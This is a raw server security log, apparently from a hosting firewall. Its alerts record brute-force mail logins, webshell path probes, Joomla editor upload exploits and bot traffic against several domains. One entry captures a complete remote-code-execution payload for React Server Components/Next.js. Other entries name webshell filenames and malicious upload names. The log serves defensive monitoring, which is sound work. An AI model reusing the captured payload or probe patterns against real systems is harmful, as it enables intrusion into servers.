2026-07-18 00:14:53 dovecot_login authenticator failed for H=([74.119.147.213]) [197.251.249.117]:48748: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.124.95.54
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a2691858 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-18 00:17:32 dovecot_login authenticator failed for H=(customer119-195.grm.net) [197.242.170.10]:64498: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-18 00:17:43 dovecot_login authenticator failed for H=([59.25.212.83]) [206.62.136.109]:50716: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-18 00:20:08 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it (42-200-73-3.static.imsbiz.com) [37.207.215.2]:58218: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.223.126.210
country_id: 2661886
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/images/uploader.php||SC:/home/interceptorgloba/public_html/images/uploader.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-18 00:22:44 dovecot_login authenticator failed for H=([206.62.136.111]) [112.161.42.97]:41019: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-18 00:23:06 dovecot_login authenticator failed for H=(31-154-69-224.orange.net.il) [183.82.56.12]:57351: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.253.147.12
country_id: 6252001
description:
2026-07-18 00:22:14 dovecot_login authenticator failed for H=cm-170-253-147-12.maxxsouthbb.net ([199.229.254.131]) [170.253.147.12]:42852: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/images/changetoavif.php||SC:/home/elegantautomotiv/public_html/images/changetoavif.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.34.249
country_id: 6252001
domain: www.elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.elegantautomotives.com/ HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.106.245.167
country_id: 3017382
description:
2026-07-18 00:23:15 dovecot_login authenticator failed for H=(ipmapt-72-195-34-50.oc.oc.cox.net) [87.106.245.167]:39502: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ahsmarine/public_html/wp-admin/images/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.251.93.214
country_id: 6252001
description:
2026-07-18 00:25:57 dovecot_login authenticator failed for H=([193.180.125.157]) [162.251.93.214]:46396: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/ahsmarine/public_html/wp-content/uploads/goods.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-07-18 00:26:41 dovecot_login authenticator failed for H=([60.216.89.122]) [65.20.179.251]:48135: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.33
country_id: 1733045
description:
2026-07-18 00:26:13 dovecot_login authenticator failed for H=([49.124.147.253]) [49.124.152.33]:33910: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.177.143.154
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ahsmarine/public_html/wp-includes/SimplePie||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-18 00:31:58 dovecot_login authenticator failed for H=([218.147.102.60]) [122.186.249.6]:59224: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.211
country_id: 294640
description:
2026-07-18 00:32:08 dovecot_login authenticator failed for H=(host.46-183-135-88.broadband.redcom.ru) [84.111.136.211]:37916: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 43.156.109.74
country_id: 1880251
domain: 103.185.74.189
description:
IM360 WAF: Bad file extension||RSV:8.31||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:alnay||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 219.92.211.91
country_id: 1733045
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14590.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:87ec5e250e126437b70f4a9e898800f1c9de2bc4||Title:0x1021c3d6||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77102143
abuser: 103.59.161.106
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated front-end JCE editor-profile import in Joomla Content Editor before 2.9.99.5 (CVE-2026-48907)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.108.161.217
country_id: 294640
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/bring-cinema-sound-and-smart-technology-into-your-space-with-metro-digital-media HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.223.111.27
country_id: 6252001
description:
2026-07-18 00:36:16 dovecot_login authenticator failed for H=([70.166.167.50]) [159.223.111.27]:35494: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.53.106.124
country_id: 1694008
description:
2026-07-18 00:36:39 dovecot_login authenticator failed for H=([206.62.136.111]) [122.53.106.124]:45033: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-18 00:37:47 dovecot_login authenticator failed for H=([183.171.61.10]) [106.0.165.219]:49781: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.118.32.190
country_id: 1269750
description:
2026-07-18 00:42:30 dovecot_login authenticator failed for H=([185.15.82.135]) [45.118.32.190]:48577: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-18 00:43:05 dovecot_login authenticator failed for H=([49.124.153.32]) [136.56.34.147]:41532: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-18 00:48:10 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com ([74.119.144.57]) [78.67.161.64]:46316: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-07-18 00:48:56 dovecot_login authenticator failed for H=([218.206.136.24]) [41.224.62.206]:46733: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 132.196.11.13
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/images/uploader.php||SC:/home/futuracarecom/public_html/images/uploader.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-18 00:51:01 dovecot_login authenticator failed for H=([58.8.48.178]) [117.250.19.91]:43822: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://zzz-1.com/\">https://zzz-1.com/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/yukticlick/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.61.12.76
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-av-solutions HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.52.169
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.122.67.8
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/services/home-theater-installation/ HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.163.103
country_id: 99237
description:
2026-07-18 01:08:53 dovecot_login authenticator failed for H=(2-74-192-203.kcell.kz) [65.20.163.103]:60309: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.41.134
country_id: 226074
description:
2026-07-18 01:09:32 dovecot_login authenticator failed for H=(nsg-corporate-129.168.187.122.airtel.in) [196.0.41.134]:43750: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.45.104
country_id: 1835841
description:
2026-07-18 01:11:17 dovecot_login authenticator failed for H=([49.124.148.186]) [59.8.45.104]:60349: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-07-18 01:11:52 dovecot_login authenticator failed for H=([72.37.216.65]) [211.104.166.110]:36716: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/uploads/bigdump.php||SC:/home/keralapeople/public_html/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/uploads/788_c99.php||SC:/home/keralapeople/public_html/uploads||


plugin: modsec
rule: 77469916
abuser: 172.234.23.109
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s105157.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-07-18 01:17:27 dovecot_login authenticator failed for H=([183.167.217.86]) [218.233.182.39]:2235: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-18 01:17:35 dovecot_login authenticator failed for H=(176x212x241x100.dynamic.ulsk.ertelecom.ru) [78.187.9.111]:49351: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.154.169.51
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-18 01:26:01 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net ([183.56.238.70]) [111.70.11.38]:39480: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.16.186.125
country_id: 953987
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es50-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 140.233.177.48
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:523523.phar||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 43.200.70.215
country_id: 1835841
domain: 103.185.74.189
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469918
abuser: 140.233.177.48
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:523523.shtml||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 108.234.85.141
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:10041.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:97323d0aa0ffc8afd7b2a644054e17f91409dd89||Title:0xba687165||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 108.234.85.141
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:95827.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e28dfecf7199c58f327ba5ba76035e7fd8aeaf5c||Title:0x0c3efc6d||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/uploads/bigdump.php||SC:/home/metrodigitals/public_html/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/alnay/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 132.196.11.13
country_id: 6252001
domain: img6kb79.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/images/uploader.php||SC:/var/www/html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/alnay/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-18 01:37:44 dovecot_login authenticator failed for H=([223.207.98.116]) [185.15.82.135]:52058: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-07-18 01:38:05 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [65.20.179.251]:39951: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-18 01:39:46 dovecot_login authenticator failed for H=([171.211.123.106]) [149.34.191.39]:35990: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.107.163.210
country_id: 1668284
description:
2026-07-18 01:39:56 dovecot_login authenticator failed for H=(42-194-136-45.ddns.movitel.tv) [106.107.163.210]:55042: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.66.70.156
country_id: 3996063
description:
2026-07-18 01:39:59 dovecot_plain authenticator failed for H=(bliggly) [200.66.70.156]:58418: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77469916
abuser: 172.234.23.109
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s318353.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-18 01:43:40 dovecot_login authenticator failed for H=([49.124.151.63]) [65.20.146.109]:42331: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77350169
name: IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)
abuser: 91.196.152.133
country_id: 3017382
domain: www.ibmcglobal.com
description:
IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)||MV:true||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.173.179.110
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.212.191.16
country_id: 1861060
description:
2026-07-18 01:51:04 dovecot_login authenticator failed for H=st0848.nas811.p-aichi.nttpc.ne.jp ([195.42.105.206]) [202.212.191.16]:56255: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-18 01:50:28 dovecot_login authenticator failed for H=([128.185.187.2]) [182.73.109.194]:46454: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 172.234.23.109
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s627337.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.175.66.26
country_id: 6252001
description:
2026-07-18 01:52:53 dovecot_login authenticator failed for H=(host-93-177-157-179.customer.magticom.ge) [24.175.66.26]:52366: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-18 01:53:14 dovecot_login authenticator failed for H=([195.158.26.59]) [122.185.101.50]:39192: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.148.135.85
country_id: 2635167
description:
2026-07-18 01:54:28 dovecot_login authenticator failed for H=(adsl-90-150-93-138.jamal.ru) [51.148.135.85]:42731: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.45
country_id: 99237
description:
2026-07-18 01:54:55 dovecot_login authenticator failed for H=([70.166.167.48]) [65.20.143.45]:55976: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.148.134.155
country_id: 2077456
description:
2026-07-18 01:56:53 dovecot_login authenticator failed for H=([184.170.249.69]) [124.148.134.155]:59328: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-18 01:56:17 dovecot_login authenticator failed for H=([70.166.167.35]) [182.95.217.202]:60662: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.48.251.107
country_id: 1835841
description:
2026-07-18 01:56:34 dovecot_login authenticator failed for H=(89-67-246-166.dynamic.play.pl) [14.48.251.107]:38983: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-18 01:57:15 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [182.95.181.138]:58562: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.167
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 best cars (<a href=\"https://csfederation.ucoz.com/go?http://N.I.Gh.T.M.A.RE.Zzro%20@Masuda-Khrs.Sakura.Ne.jp/hsy/yybbs/yybbs.cgi%3Flist=thread\">https://csfederation.ucoz.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.151.10.178
country_id: 6251999
domain: ddgalaxy.in
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/admin.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.10.178
country_id: 6251999
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ddgalaxy/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.29.196
country_id: 1733045
description:
2026-07-18 01:58:32 dovecot_login authenticator failed for H=(pipenode.vds-host.org) [202.165.29.196]:54237: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.113.194
country_id: 2510769
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/images/uploader.php||SC:/home/metrodigitals/public_html/images/uploader.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.207.63.208
country_id: 1835841
description:
2026-07-18 02:03:38 dovecot_login authenticator failed for H=([103.184.155.242]) [119.207.63.208]:36820: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.44.124.9
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/telephone-and-communication-systems-pabx HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.96.44.110
country_id: 1562822
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:24784.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3a6ced6230f6f3f5dee2a539cf849402fc79febb||Title:0xdddfd4e1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/idealloanzcom/public_html/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/uploads/bigdump.php||SC:/home/ibmcglobal/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-18 02:09:50 dovecot_login authenticator failed for H=([98.181.137.75]) [211.116.107.222]:33553: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.199.17
country_id: 3017382
description:
2026-07-18 02:10:17 dovecot_login authenticator failed for H=vps-36f1e8f3.vps.ovh.net ([119.192.219.77]) [135.125.199.17]:56208: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-18 02:10:59 dovecot_login authenticator failed for H=([49.124.152.219]) [89.121.255.194]:9247: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.132.209.110
country_id: 6252001
description:
2026-07-18 02:11:07 dovecot_login authenticator failed for H=(dynamic-adsl.viettel.vn) [47.132.209.110]:53346: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.240.94
country_id: 1269750
description:
2026-07-18 02:13:27 dovecot_login authenticator failed for H=([31.208.53.209]) [182.78.240.94]:54002: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
